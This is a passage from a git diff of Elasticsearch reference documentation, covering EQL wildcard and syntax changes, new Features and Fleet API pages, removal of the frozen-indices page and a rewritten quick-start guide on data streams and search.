-wildcard(process.name, "*Regsvr32*") // returns false -wildcard(process.name, "*regsvr32*", "*explorer*") // returns true -wildcard(process.name, "*explorer*") // returns false -wildcard(process.name, "*explorer*", "*scrobj*") // returns false - -// Make matching case-insensitive -wildcard~(process.name, "*Regsvr32*") // returns true - -// The ? wildcard matches exactly one character. -// process.name = "regsvr32.exe" -wildcard(process.name, "regsvr32.e?e") // returns true -wildcard(process.name, "regsvr32.e?e", "e?plorer.exe") // returns true -wildcard(process.name, "regsvr32.exe?") // returns false -wildcard(process.name, "e?plorer.exe") // returns false -wildcard(process.name, "e?plorer.exe", "scrob?.dll") // returns false - -// empty strings -wildcard("", "*start*") // returns false -wildcard("", "*") // returns true -wildcard("", "?") // returns false -wildcard("", "") // returns true - -// null handling -wildcard(null, "*regsvr32*") // returns null -wildcard(process.name, null) // returns null ----- - -*Syntax* -[source,txt] ----- -wildcard(, [, ...]) ----- - -*Parameters* - -``:: -+ --- -(Required, string) -Source string. If `null`, the function returns `null`. - -If using a field as the argument, this parameter supports only the following -field data types: - -* A type in the <> family -* <> field with a <> sub-field --- - -``:: -+ --- -(Required{multi-arg-ref}, string) -Wildcard expression used to match the source string. The `*` wildcard matches -zero or more characters. The `?` wildcard matches exactly one character. - -If `null`, the function returns `null`. Fields are not supported as arguments. --- - -*Returns:* boolean diff --git a/docs/reference/eql/syntax.asciidoc b/docs/reference/eql/syntax.asciidoc index 6a6ec98d95a5b..d74ee13d81b5d 100644 --- a/docs/reference/eql/syntax.asciidoc +++ b/docs/reference/eql/syntax.asciidoc @@ -18,22 +18,21 @@ keyword connects them. event_category where condition ---- -For example, the following EQL query matches `process` events with a -`process.name` field value of `svchost.exe`: +An event category is an indexed value of the <>. By default, the <> uses the +`event.category` field from the {ecs-ref}[Elastic Common Schema (ECS)]. You can +specify another event category field using the API's +<> +parameter. + +For example, the following EQL query matches events with an event category of +`process` and a `process.name` of `svchost.exe`: [source,eql] ---- process where process.name == "svchost.exe" ---- -[discrete] -[[eql-syntax-event-categories]] -=== Event categories - -An event category is a valid, indexed value of the -<>. You can set the event category -field using the `event_category_field` parameter of the EQL search API. - [discrete] [[eql-syntax-match-any-event-category]] === Match any event category @@ -352,6 +351,29 @@ condition: any where true ---- +[discrete] +[[eql-syntax-check-field-exists]] +=== Check if a field exists + +To match events containing any value for a field, compare the field to `null` +using the `!=` operator: + +[source,eql] +---- +my_field != null +---- + +To match events that do not contain a field value, compare the field to `null` +using the `==` operator: + +[source,eql] +---- +my_field == null +---- + +IMPORTANT: To avoid errors, the field must contain a non-`null` value in at +least one document or be <>. + [discrete] [[eql-syntax-strings]] === Strings @@ -380,13 +402,21 @@ double quote (`"`), must be escaped with a preceding backslash (`\`). [options="header"] |==== | Escape sequence | Literal character -|`\n` | A newline (linefeed) character -|`\r` | A carriage return character -|`\t` | A tab character -|`\\` | A backslash (`\`) character -|`\"` | A double quote (`"`) character +|`\n` | Newline (linefeed) +|`\r` | Carriage return +|`\t` | Tab +|`\\` | Backslash (`\`) +|`\"` | Double quote (`"`) |==== +You can escape Unicode characters using a hexadecimal `\u{XXXXXXXX}` escape +sequence. The hexadecimal value can be 2-8 characters and is case-insensitive. +Values shorter than 8 characters are zero-padded. You can use these escape +sequences to include non-printable or right-to-left (RTL) characters in your +strings. For example, you can escape a +{wikipedia}/Right-to-left_mark[right-to-left mark (RLM)] as `\u{200f}`, +`\u{200F}`, or `\u{0000200f}`. + IMPORTANT: The single quote (`'`) character is reserved for future use. You cannot use an escaped single quote (`\'`) for literal strings. Use an escaped double quote (`\"`) instead. @@ -537,13 +567,13 @@ to: * Events with the same `user.name` value * `file` events with a `file.path` value equal to the following `process` - event's `process.path` value. + event's `process.executable` value. [source,eql] ---- sequence [ file where file.extension == "exe" ] by user.name, file.path - [ process where true ] by user.name, process.path + [ process where true ] by user.name, process.executable ---- Because the `user.name` field is shared across all events in the sequence, it @@ -554,7 +584,7 @@ prior one. ---- sequence by user.name [ file where file.extension == "exe" ] by file.path - [ process where true ] by process.path + [ process where true ] by process.executable ---- You can combine the `sequence by` and `with maxspan` keywords to constrain a @@ -579,7 +609,7 @@ keywords to match only a sequence of events that: ---- sequence by user.name with maxspan=15m [ file where file.extension == "exe" ] by file.path - [ process where true ] by process.path + [ process where true ] by process.executable ---- [discrete] @@ -796,6 +826,13 @@ You cannot use EQL to search the values of a <> field or the sub-fields of a `nested` field. However, data streams and indices containing `nested` field mappings are otherwise supported. +[discrete] +[[eql-ccs-support]] +==== {ccs-cap} is not supported + +EQL search APIs do not support <>. + [discrete] [[eql-unsupported-syntax]] ==== Differences from Endgame EQL syntax @@ -804,7 +841,7 @@ sub-fields of a `nested` field. However, data streams and indices containing follows: * In {es} EQL, most operators are case-sensitive. For example, -`process_name == "cmd.exe"` is not equivalent to +`process_name == "cmd.exe"` is not equivalent to `process_name == "Cmd.exe"`. * In {es} EQL, functions are case-sensitive. To make a function diff --git a/docs/reference/features/apis/features-apis.asciidoc b/docs/reference/features/apis/features-apis.asciidoc new file mode 100644 index 0000000000000..fe06471cff0df --- /dev/null +++ b/docs/reference/features/apis/features-apis.asciidoc @@ -0,0 +1,13 @@ +[[features-apis]] +== Features APIs + +You can use the following APIs to introspect and manage Features provided +by Elasticsearch and Elasticsearch plugins. + +[discrete] +=== Features APIs +* <> +* <> + +include::get-features-api.asciidoc[] +include::reset-features-api.asciidoc[] diff --git a/docs/reference/features/apis/get-features-api.asciidoc b/docs/reference/features/apis/get-features-api.asciidoc new file mode 100644 index 0000000000000..676ec3c41da24 --- /dev/null +++ b/docs/reference/features/apis/get-features-api.asciidoc @@ -0,0 +1,56 @@ +[[get-features-api]] +=== Get Features API +++++ +Get features +++++ + +Gets a list of features which can be included in snapshots using the +<> when creating a +snapshot. + +[source,console] +----------------------------------- +GET /_features +----------------------------------- + +[[get-features-api-request]] +==== {api-request-title} + +`GET /_features` + + +[[get-features-api-desc]] +==== {api-description-title} + +You can use the get features API to determine which feature states +to include when <>. By default, all +feature states are included in a snapshot if that snapshot includes the global +state, or none if it does not. + +A feature state includes one or more system indices necessary for a given +feature to function. In order to ensure data integrity, all system indices that +comprise a feature state are snapshotted and restored together. + +The features listed by this API are a combination of built-in features and +features defined by plugins. In order for a feature's state to be listed in this +API and recognized as a valid feature state by the create snapshot API, the +plugin which defines that feature must be installed on the master node. + +==== {api-examples-title} + +[source,console-result] +---- +{ + "features": [ + { + "name": "tasks", + "description": "Manages task results" + }, + { + "name": "kibana", + "description": "Manages Kibana configuration and reports" + } + ] +} +---- +// TESTRESPONSE[skip:response differs between default distro and OSS] diff --git a/docs/reference/features/apis/reset-features-api.asciidoc b/docs/reference/features/apis/reset-features-api.asciidoc new file mode 100644 index 0000000000000..300ce166eaa13 --- /dev/null +++ b/docs/reference/features/apis/reset-features-api.asciidoc @@ -0,0 +1,54 @@ +[[reset-features-api]] +=== Reset features API +++++ +Reset features +++++ + +experimental::[] + +Clears all of the the state information stored in system indices by {es} features, including the security and machine learning indices. + +WARNING: Intended for development and testing use only. Do not reset features on a production cluster. + +[source,console] +----------------------------------- +POST /_features/_reset +----------------------------------- + +[[reset-features-api-request]] +==== {api-request-title} + +`POST /_features/_reset` + + +[[reset-features-api-desc]] +==== {api-description-title} + +Return a cluster to the same state as a new installation by resetting the feature state for all {es} features. This deletes all state information stored in system indices. + +The response code is `HTTP 200` if state is successfully reset for all features, `HTTP 207` if there is a mixture of successes and failures, and `HTTP 500` if the reset operation fails for all features. + +Note that select features might provide a way to reset particular system indices. Using this API resets _all_ features, both those that are built-in and implemented as plugins. + +To list the features that will be affected, use the <>. + +IMPORTANT: The features installed on the node you submit this request to are the features that will be reset. Run on the master node if you have any doubts about which plugins are installed on individual nodes. + +==== {api-examples-title} +Example response: +[source,console-result] +---- +{ + "features" : [ + { + "feature_name" : "security", + "status" : "SUCCESS" + }, + { + "feature_name" : "tasks", + "status" : "SUCCESS" + } + ] +} +---- +// TESTRESPONSE[s/"features" : \[[^\]]*\]/"features": $body.$_path/] diff --git a/docs/reference/fleet/get-global-checkpoints.asciidoc b/docs/reference/fleet/get-global-checkpoints.asciidoc new file mode 100644 index 0000000000000..f80ae1e8c78df --- /dev/null +++ b/docs/reference/fleet/get-global-checkpoints.asciidoc @@ -0,0 +1,90 @@ +[role="xpack"] +[[get-global-checkpoints]] +=== Get global checkpoints API +++++ +Get global checkpoints +++++ + +The purpose of the get global checkpoints api is to return the current global +checkpoints for an index. This API allows users to know the what sequence numbers +have been safely persisted in Elasticsearch. + +[discrete] +[[polling-on-global-checkpoint]] +== Polling on global checkpoint advance + +The API has an optional polling mode enabled by the `wait_for_advance` query +parameter. In polling mode, the API will only return after the global checkpoints +advance past the provided `checkpoints`. By default, `checkpoints` is an empty +array, which will lead to the API returning immediately. + +If a timeout occurs before the global checkpoints advance past the provided +`checkpoints`, Elasticsearch will return the current global checkpoints and a +boolean indicating that the request timed out. + +Currently the `wait_for_advance` parameter is only supported for one shard indices. + +[discrete] +[[polling-on-index]] +== Polling on index ready + +By default in polling mode, an exception will be returned if the index does not +exist or all the primary shards are not active. In polling mode, the +`wait_for_index` parameter can be used to modify this behavior. If `wait_for_index` +is set to true, the API will wait for the index to be created and all primary +shards to be active. + +If a timeout occurs before these conditions are met, the relevant exception will be +returned. + +Currently the `wait_for_index` parameter is only supported when `wait_for_advance` +is true. + +[[get-global-checkpoints-api-request]] +==== {api-request-title} + +`GET //_fleet/global_checkpoints` + +[[get-global-checkpoints-api-path-params]] +==== {api-path-parms-title} + +``:: +(Required, string) +A single index or index alias that resolves to a single index. + +[role="child_attributes"] +[[get-global-checkpoints-api-query-parms]] +==== {api-query-parms-title} + +`wait_for_advance`:: +(Optional, Boolean) A boolean value which controls whether to wait (until the +`timeout`) for the global checkpoints to advance past the provided +`checkpoints`. Defaults to `false`. + +`wait_for_index`:: +(Optional, Boolean) A boolean value which controls whether to wait (until the +`timeout`) for the target index to exist and all primary shards be active. Can +only be `true` when `wait_for_advance` is `true`. Defaults to `false`. + +`checkpoints`:: +(Optional, list) A comma separated list of previous global checkpoints. +When used in combination with `wait_for_advance`, the API will only return once +the global checkpoints advances past the `checkpoints`. Defaults to an empty list +which will cause Elasticsearch to immediately return the current global +checkpoints. + +`timeout`:: +(Optional, <>) +Period to wait for a global checkpoints to advance past `checkpoints`. +Defaults to `30s`. + +[role="child_attributes"] +[[get-global-checkpoints-api-response-body]] +==== {api-response-body-title} + +`global_checkpoints`:: +(array of integers) The global checkpoints for the index. + +`timed_out`:: +(Boolean) If `false` the global checkpoints did not advance past the +`checkpoints` within the specified `timeout`. diff --git a/docs/reference/fleet/index.asciidoc b/docs/reference/fleet/index.asciidoc new file mode 100644 index 0000000000000..5cc91b4e74ddb --- /dev/null +++ b/docs/reference/fleet/index.asciidoc @@ -0,0 +1,13 @@ +[role="xpack"] +[[fleet-apis]] +== Fleet APIs + +The following APIs are design to support fleet-server's usage of Elasticsearch as +a datastore for internal agent and action data. These APIS are currently intended +for internal use only and should be considered experimental. + +* <> + +// top-level +include::get-global-checkpoints.asciidoc[] + diff --git a/docs/reference/frozen-indices.asciidoc b/docs/reference/frozen-indices.asciidoc deleted file mode 100644 index 3922fc18dff32..0000000000000 --- a/docs/reference/frozen-indices.asciidoc +++ /dev/null @@ -1,110 +0,0 @@ -[role="xpack"] -[testenv="basic"] -[[frozen-indices]] -= Frozen indices - -[partintro] --- -{es} indices keep some data structures in memory to allow you to search them -efficiently and to index into them. If you have a lot of indices then the -memory required for these data structures can add up to a significant amount. -For indices that are searched frequently it is better to keep these structures -in memory because it takes time to rebuild them. However, you might access some -of your indices so rarely that you would prefer to release the corresponding -memory and rebuild these data structures on each search. - -For example, if you are using time-based indices to store log messages or time -series data then it is likely that older indices are searched much less often -than the more recent ones. Older indices also receive no indexing requests. -Furthermore, it is usually the case that searches of older indices are for -performing longer-term analyses for which a slower response is acceptable. - -If you have such indices then they are good candidates for becoming _frozen -indices_. {es} builds the transient data structures of each shard of a frozen -index each time that shard is searched, and discards these data structures as -soon as the search is complete. Because {es} does not maintain these transient -data structures in memory, frozen indices consume much less heap than normal -indices. This allows for a much higher disk-to-heap ratio than would otherwise -be possible. - -You can freeze the index using the <>. - -Searches performed on frozen indices use the small, dedicated, -<> to control the number of -concurrent searches that hit frozen shards on each node. This limits the amount -of extra memory required for the transient data structures corresponding to -frozen shards, which consequently protects nodes against excessive memory -consumption. - -Frozen indices are read-only: you cannot index into them. - -Searches on frozen indices are expected to execute slowly. Frozen indices are -not intended for high search load. It is possible that a search of a frozen -index may take seconds or minutes to complete, even if the same searches -completed in milliseconds when the indices were not frozen. - -To make a frozen index writable again, use the <>. - --- - -[role="xpack"] -[testenv="basic"] -[[best_practices]] -== Best practices - -Since frozen indices provide a much higher disk to heap ratio at the expense of search latency, it is advisable to allocate frozen indices to -dedicated nodes to prevent searches on frozen indices influencing traffic on low latency nodes. There is significant overhead in loading -data structures on demand which can cause page faults and garbage collections, which further slow down query execution. - -Since indices that are eligible for freezing are unlikely to change in the future, disk space can be optimized as described in <>. - -It's highly recommended to <> your indices prior to freezing to ensure that each shard has only a single -segment on disk. This not only provides much better compression but also simplifies the data structures needed to service aggregation -or sorted search requests. - -[source,console] --------------------------------------------------- -POST /my-index-000001/_forcemerge?max_num_segments=1 --------------------------------------------------- -// TEST[setup:my_index] - -[role="xpack"] -[testenv="basic"] -[[searching_a_frozen_index]] -== Searching a frozen index - -Frozen indices are throttled in order to limit memory consumptions per node. The number of concurrently loaded frozen indices per node is -limited by the number of threads in the <> threadpool, which is `1` by default. -Search requests will not be executed against frozen indices by default, even if a frozen index is named explicitly. This is -to prevent accidental slowdowns by targeting a frozen index by mistake. To include frozen indices a search request must be executed with -the query parameter `ignore_throttled=false`. - -[source,console] --------------------------------------------------- -GET /my-index-000001/_search?q=user.id:kimchy&ignore_throttled=false --------------------------------------------------- -// TEST[setup:my_index] - -[role="xpack"] -[testenv="basic"] -[[monitoring_frozen_indices]] -== Monitoring frozen indices - -Frozen indices are ordinary indices that use search throttling and a memory efficient shard implementation. For API's like the -<> frozen indices may identified by an index's `search.throttled` property (`sth`). - -[source,console] --------------------------------------------------- -GET /_cat/indices/my-index-000001?v=true&h=i,sth --------------------------------------------------- -// TEST[s/^/PUT my-index-000001\nPOST my-index-000001\/_freeze\n/] - -The response looks like: - -[source,txt] --------------------------------------------------- -i sth -my-index-000001 true --------------------------------------------------- -// TESTRESPONSE[non_json] - diff --git a/docs/reference/getting-started.asciidoc b/docs/reference/getting-started.asciidoc index 6793b4a48fe74..5282915c4580c 100755 --- a/docs/reference/getting-started.asciidoc +++ b/docs/reference/getting-started.asciidoc @@ -1,741 +1,515 @@ +[chapter] [[getting-started]] -= Getting started with {es} += Quick start -[partintro] --- -Ready to take {es} for a test drive and see for yourself how you can use the -REST APIs to store, search, and analyze data? +This guide helps beginners learn how to: -Follow this getting started tutorial to: - -. Get an {es} cluster up and running -. Index some sample documents -. Search for documents using the {es} query language -. Analyze the results using bucket and metrics aggregations - - -Need more context? - -Check out the <> to learn the lingo and understand the basics of -how {es} works. If you're already familiar with {es} and want to see how it works -with the rest of the stack, you might want to jump to the -{stack-gs}/get-started-elastic-stack.html[Elastic Stack -Tutorial] to see how to set up a system monitoring solution with {es}, {kib}, -{beats}, and {ls}. - -TIP: The fastest way to get started with {es} is to -{ess-trial}[start a free 14-day -trial of {ess}] in the cloud. --- - -[[getting-started-install]] -== Get {es} up and running - -To take {es} for a test drive, you can create a -{ess-trial}[hosted deployment] on -the {ess} or set up a multi-node {es} cluster on your own -Linux, macOS, or Windows machine. +* Install and run {es} in a test environment +* Add data to {es} +* Search and sort data +* Extract fields from unstructured content during a search [discrete] -[[run-elasticsearch-hosted]] -=== Run {es} on Elastic Cloud +[[run-elasticsearch]] +=== Step 1. Run {es} -When you create a deployment on the {es} Service, the service provisions -a three-node {es} cluster along with Kibana and APM. +The simplest way to set up {es} is to create a managed deployment with {ess} on +{ecloud}. If you prefer to manage your own test environment, you can install and +run {es} using Docker. -To create a deployment: +include::{es-repo-dir}/tab-widgets/code.asciidoc[] +include::{es-repo-dir}/tab-widgets/quick-start-install-widget.asciidoc[] -. Sign up for a {ess-trial}[free trial] -and verify your email address. -. Set a password for your account. -. Click **Create Deployment**. +[discrete] +[[send-requests-to-elasticsearch]] +=== Step 2. Send requests to {es} -Once you've created a deployment, you're ready to <>. +You send data and other requests to {es} using REST APIs. This lets you interact +with {es} using any client that sends HTTP requests, such as +https://curl.se[curl]. You can also use {kib}'s console to send requests to +{es}. -[discrete] -[[run-elasticsearch-local]] -=== Run {es} locally on Linux, macOS, or Windows - -When you create a deployment on the {ess}, a master node and -two data nodes are provisioned automatically. By installing from the tar or zip -archive, you can start multiple instances of {es} locally to see how a multi-node -cluster behaves. - -To run a three-node {es} cluster locally: - -. Download the {es} archive for your OS: -+ -Linux: https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-{version}-linux-x86_64.tar.gz[elasticsearch-{version}-linux-x86_64.tar.gz] -+ -["source","sh",subs="attributes,callouts"] --------------------------------------------------- -curl -L -O https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-{version}-linux-x86_64.tar.gz --------------------------------------------------- -// NOTCONSOLE -+ -macOS: https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-{version}-darwin-x86_64.tar.gz[elasticsearch-{version}-darwin-x86_64.tar.gz] -+ -["source","sh",subs="attributes,callouts"] --------------------------------------------------- -curl -L -O https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-{version}-darwin-x86_64.tar.gz --------------------------------------------------- -// NOTCONSOLE -+ -Windows: -https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-{version}-windows-x86_64.zip[elasticsearch-{version}-windows-x86_64.zip] - -. Extract the archive: -+ -Linux: -+ -["source","sh",subs="attributes,callouts"] --------------------------------------------------- -tar -xvf elasticsearch-{version}-linux-x86_64.tar.gz --------------------------------------------------- -+ -macOS: -+ -["source","sh",subs="attributes,callouts"] --------------------------------------------------- -tar -xvf elasticsearch-{version}-darwin-x86_64.tar.gz --------------------------------------------------- -+ -Windows PowerShell: -+ -["source","powershell",subs="attributes,callouts"] --------------------------------------------------- -Expand-Archive elasticsearch-{version}-windows-x86_64.zip --------------------------------------------------- - -. Start {es} from the `bin` directory: -+ -Linux and macOS: -+ -["source","sh",subs="attributes,callouts"] --------------------------------------------------- -cd elasticsearch-{version}/bin -./elasticsearch --------------------------------------------------- -+ -Windows: -+ -["source","powershell",subs="attributes,callouts"] --------------------------------------------------- -cd elasticsearch-{version}\bin -.\elasticsearch.bat --------------------------------------------------- -+ -You now have a single-node {es} cluster up and running! - -. Start two more instances of {es} so you can see how a typical multi-node -cluster behaves. You need to specify unique data and log paths -for each node. -+ -Linux and macOS: -+ -["source","sh",subs="attributes,callouts"] --------------------------------------------------- -./elasticsearch -Epath.data=data2 -Epath.logs=log2 -./elasticsearch -Epath.data=data3 -Epath.logs=log3 --------------------------------------------------- -+ -Windows: -+ -["source","powershell",subs="attributes,callouts"] --------------------------------------------------- -.\elasticsearch.bat -E path.data=data2 -E path.logs=log2 -.\elasticsearch.bat -E path.data=data3 -E path.logs=log3 --------------------------------------------------- -+ -The additional nodes are assigned unique IDs. Because you're running all three -nodes locally, they automatically join the cluster with the first node. - -. Use the cat health API to verify that your three-node cluster is up running. -The cat APIs return information about your cluster and indices in a -format that's easier to read than raw JSON. -+ -You can interact directly with your cluster by submitting HTTP requests to -the {es} REST API. If you have Kibana installed and running, you can also -open Kibana and submit requests through the Dev Console. -+ -TIP: You'll want to check out the -https://www.elastic.co/guide/en/elasticsearch/client/index.html[{es} language -clients] when you're ready to start using {es} in your own applications. -+ -[source,console] --------------------------------------------------- -GET /_cat/health?v=true --------------------------------------------------- -+ -The response should indicate that the status of the `elasticsearch` cluster -is `green` and it has three nodes: -+ -[source,txt] --------------------------------------------------- -epoch timestamp cluster status node.total node.data shards pri relo init unassign pending_tasks max_task_wait_time active_shards_percent -1565052807 00:53:27 elasticsearch green 3 3 6 3 0 0 0 0 - 100.0% --------------------------------------------------- -// TESTRESPONSE[s/1565052807 00:53:27 elasticsearch/\\d+ \\d+:\\d+:\\d+ integTest/] -// TESTRESPONSE[s/3 3 6 3/\\d+ \\d+ \\d+ \\d+/] -// TESTRESPONSE[s/0 0 -/0 \\d+ (-|\\d+(\.\\d+)?(micros|ms|s))/] -// TESTRESPONSE[non_json] -+ -NOTE: The cluster status will remain yellow if you are only running a single -instance of {es}. A single node cluster is fully functional, but data -cannot be replicated to another node to provide resiliency. Replica shards must -be available for the cluster status to be green. If the cluster status is red, -some data is unavailable. +include::{es-repo-dir}/tab-widgets/api-call-widget.asciidoc[] [discrete] -[[gs-curl]] -=== Talking to {es} with cURL commands - -Most of the examples in this guide enable you to copy the appropriate cURL -command and submit the request to your local {es} instance from the command line. - -A request to Elasticsearch consists of the same parts as any HTTP request: - -[source,sh] --------------------------------------------------- -curl -X '://:/?' -d '' --------------------------------------------------- -// NOTCONSOLE - -This example uses the following variables: - -``:: The appropriate HTTP method or verb. For example, `GET`, `POST`, -`PUT`, `HEAD`, or `DELETE`. -``:: Either `http` or `https`. Use the latter if you have an HTTPS -proxy in front of {es} or you use {es} {security-features} to encrypt HTTP -communications. -``:: The hostname of any node in your {es} cluster. Alternatively, use -+localhost+ for a node on your local machine. -``:: The port running the {es} HTTP service, which defaults to `9200`. -``:: The API endpoint, which can contain multiple components, such as -`_cluster/stats` or `_nodes/stats/jvm`. -``:: Any optional query-string parameters. For example, `?pretty` -will _pretty-print_ the JSON response to make it easier to read. -``:: A JSON-encoded request body (if necessary). - -If the {es} {security-features} are enabled, you must also provide a valid user -name (and password) that has authority to run the API. For example, use the -`-u` or `--u` cURL command parameter. For details about which security -privileges are required to run each API, see <>. - -{es} responds to each API request with an HTTP status code like `200 OK`. With -the exception of `HEAD` requests, it also returns a JSON-encoded response body. +[[add-data]] +=== Step 3. Add data -[discrete] -[[gs-other-install]] -=== Other installation options +You add data to {es} as JSON objects called documents. {es} stores these +documents in searchable indices. -Installing {es} from an archive file enables you to easily install and run -multiple instances locally so you can try things out. To run a single instance, -you can run {es} in a Docker container, install {es} using the DEB or RPM -packages on Linux, install using Homebrew on macOS, or install using the MSI -package installer on Windows. See <> for more information. +For time series data, such as logs and metrics, you typically add documents to a +data stream made up of multiple auto-generated backing indices. -[[getting-started-index]] -== Index some documents +A data stream requires an index template that matches its name. {es} uses this +template to configure the stream's backing indices. Documents sent to a data +stream must have a `@timestamp` field. -Once you have a cluster up and running, you're ready to index some data. -There are a variety of ingest options for {es}, but in the end they all -do the same thing: put JSON documents into an {es} index. +[discrete] +[[add-single-document]] +==== Add a single document -You can do this directly with a simple PUT request that specifies -the index you want to add the document, a unique document ID, and one or more -`"field": "value"` pairs in the request body: +Submit the following indexing request to add a single log entry to the +`logs-my_app-default` data stream. Since `logs-my_app-default` doesn't exist, the +request automatically creates it using the built-in `logs-*-*` index template. [source,console] --------------------------------------------------- -PUT /customer/_doc/1 +---- +POST logs-my_app-default/_doc { - "name": "John Doe" + "@timestamp": "2099-05-06T16:21:15.000Z", + "event": { + "original": "192.0.2.42 - - [06/May/2099:16:21:15 +0000] \"GET /images/bg.jpg HTTP/1.0\" 200 24736" + } } --------------------------------------------------- +---- +// TEST[s/_doc/_doc?refresh=wait_for/] -This request automatically creates the `customer` index if it doesn't already -exist, adds a new document that has an ID of `1`, and stores and -indexes the `name` field. +The response includes metadata that {es} generates for the document: -Since this is a new document, the response shows that the result of the -operation was that version 1 of the document was created: +* The backing `_index` that contains the document. {es} automatically generates + the names of backing indices. +* A unique `_id` for the document within the index. [source,console-result] --------------------------------------------------- +---- { - "_index" : "customer", - "_id" : "1", - "_version" : 1, - "result" : "created", - "_shards" : { - "total" : 2, - "successful" : 2, - "failed" : 0 + "_index": ".ds-logs-my_app-default-2099-05-06-000001", + "_id": "gl5MJXMBMk1dGnErnBW8", + "_version": 1, + "result": "created", + "_shards": { + "total": 2, + "successful": 1, + "failed": 0 }, - "_seq_no" : 26, - "_primary_term" : 4 + "_seq_no": 0, + "_primary_term": 1 } --------------------------------------------------- -// TESTRESPONSE[s/"_seq_no" : \d+/"_seq_no" : $body._seq_no/] -// TESTRESPONSE[s/"successful" : \d+/"successful" : $body._shards.successful/] -// TESTRESPONSE[s/"_primary_term" : \d+/"_primary_term" : $body._primary_term/] +---- +// TESTRESPONSE[s/"_index": ".ds-logs-my_app-default-2099-05-06-000001"/"_index": $body._index/] +// TESTRESPONSE[s/"_id": "gl5MJXMBMk1dGnErnBW8"/"_id": $body._id/] +[discrete] +[[add-multiple-documents]] +==== Add multiple documents -The new document is available immediately from any node in the cluster. -You can retrieve it with a GET request that specifies its document ID: +To add multiple documents in one request, use the bulk API. Bulk data must be +newline-delimited JSON (NDJSON). Each line must end in a newline character +(`\n`), including the last line. [source,console] --------------------------------------------------- -GET /customer/_doc/1 --------------------------------------------------- +---- +PUT logs-my_app-default/_bulk +{ "create": { } } +{ "@timestamp": "2099-05-07T16:24:32.000Z", "event": { "original": "192.0.2.242 - - [07/May/2020:16:24:32 -0500] \"GET /images/hm_nbg.jpg HTTP/1.0\" 304 0" } } +{ "create": { } } +{ "@timestamp": "2099-05-08T16:25:42.000Z", "event": { "original": "192.0.2.255 - - [08/May/2099:16:25:42 +0000] \"GET /favicon.ico HTTP/1.0\" 200 3638" } } +---- // TEST[continued] - -The response indicates that a document with the specified ID was found -and shows the original source fields that were indexed. - -[source,console-result] --------------------------------------------------- -{ - "_index" : "customer", - "_id" : "1", - "_version" : 1, - "_seq_no" : 26, - "_primary_term" : 4, - "found" : true, - "_source" : { - "name": "John Doe" - } -} --------------------------------------------------- -// TESTRESPONSE[s/"_seq_no" : \d+/"_seq_no" : $body._seq_no/ ] -// TESTRESPONSE[s/"_primary_term" : \d+/"_primary_term" : $body._primary_term/] +// TEST[s/_bulk/_bulk?refresh=wait_for/] [discrete] -[[getting-started-batch-processing]] -=== Indexing documents in bulk - -If you have a lot of documents to index, you can submit them in batches with -the {ref}/docs-bulk.html[bulk API]. Using bulk to batch document -operations is significantly faster than submitting requests individually as it minimizes network roundtrips. +[[qs-search-data]] +=== Step 4. Search data -The optimal batch size depends on a number of factors: the document size and complexity, the indexing and search load, and the resources available to your cluster. A good place to start is with batches of 1,000 to 5,000 documents -and a total payload between 5MB and 15MB. From there, you can experiment -to find the sweet spot. +Indexed documents are available for search in near real-time. To search your +data stream, use the search API. -To get some data into {es} that you can start searching and analyzing: - -. Download the https://github.com/elastic/elasticsearch/blob/master/docs/src/test/resources/accounts.json?raw=true[`accounts.json`] sample data set. The documents in this randomly-generated data set represent user accounts with the following information: -+ -[source,js] --------------------------------------------------- -{ - "account_number": 0, - "balance": 16623, - "firstname": "Bradshaw", - "lastname": "Mckenzie", - "age": 29, - "gender": "F", - "address": "244 Columbus Place", - "employer": "Euron", - "email": "bradshawmckenzie@euron.com", - "city": "Hobucken", - "state": "CO" -} --------------------------------------------------- -// NOTCONSOLE - -. Index the account data into the `bank` index with the following `_bulk` request: -+ -[source,sh] --------------------------------------------------- -curl -H "Content-Type: application/json" -XPOST "localhost:9200/bank/_bulk?pretty&refresh" --data-binary "@accounts.json" -curl "localhost:9200/_cat/indices?v=true" --------------------------------------------------- -// NOTCONSOLE -+ -//// -This replicates the above in a document-testing friendly way but isn't visible -in the docs: -+ -[source,console] --------------------------------------------------- -GET /_cat/indices?v=true --------------------------------------------------- -// TEST[setup:bank] -//// -+ -The response indicates that 1,000 documents were indexed successfully. -+ -[source,txt] --------------------------------------------------- -health status index uuid pri rep docs.count docs.deleted store.size pri.store.size -yellow open bank l7sSYV2cQXmu6_4rJWVIww 5 1 1000 0 128.6kb 128.6kb --------------------------------------------------- -// TESTRESPONSE[s/128.6kb/\\d+(\\.\\d+)?[mk]?b/] -// TESTRESPONSE[s/l7sSYV2cQXmu6_4rJWVIww/.+/ non_json] - -[[getting-started-search]] -== Start searching - -Once you have ingested some data into an {es} index, you can search it -by sending requests to the `_search` endpoint. To access the full suite of -search capabilities, you use the {es} Query DSL to specify the -search criteria in the request body. You specify the name of the index you -want to search in the request URI. - -For example, the following request retrieves all documents in the `bank` -index sorted by account number: +The following search matches all log entries in `logs-my_app-default` and +sorts them by `@timestamp` in descending order. [source,console] --------------------------------------------------- -GET /bank/_search +---- +GET logs-my_app-default/_search { - "query": { "match_all": {} }, + "query": { + "match_all": { } + }, "sort": [ - { "account_number": "asc" } + { + "@timestamp": "desc" + } ] } --------------------------------------------------- +---- // TEST[continued] -By default, the `hits` section of the response includes the first 10 documents -that match the search criteria: +By default, the `hits` section of the response includes up to the first 10 +documents that match the search. The `_source` of each hit contains the original +JSON object submitted during indexing. [source,console-result] --------------------------------------------------- +---- { - "took" : 63, - "timed_out" : false, - "_shards" : { - "total" : 5, - "successful" : 5, - "skipped" : 0, - "failed" : 0 + "took": 2, + "timed_out": false, + "_shards": { + "total": 1, + "successful": 1, + "skipped": 0, + "failed": 0 }, - "hits" : { - "total" : { - "value": 1000, - "relation": "eq" + "hits": { + "total": { + "value": 3, + "relation": "eq" }, - "max_score" : null, - "hits" : [ { - "_index" : "bank", - "_id" : "0", - "sort": [0], - "_score" : null, - "_source" : {"account_number":0,"balance":16623,"firstname":"Bradshaw","lastname":"Mckenzie","age":29,"gender":"F","address":"244 Columbus Place","employer":"Euron","email":"bradshawmckenzie@euron.com","city":"Hobucken","state":"CO"} - }, { - "_index" : "bank", - "_id" : "1", - "sort": [1], - "_score" : null, - "_source" : {"account_number":1,"balance":39225,"firstname":"Amber","lastname":"Duke","age":32,"gender":"M","address":"880 Holmes 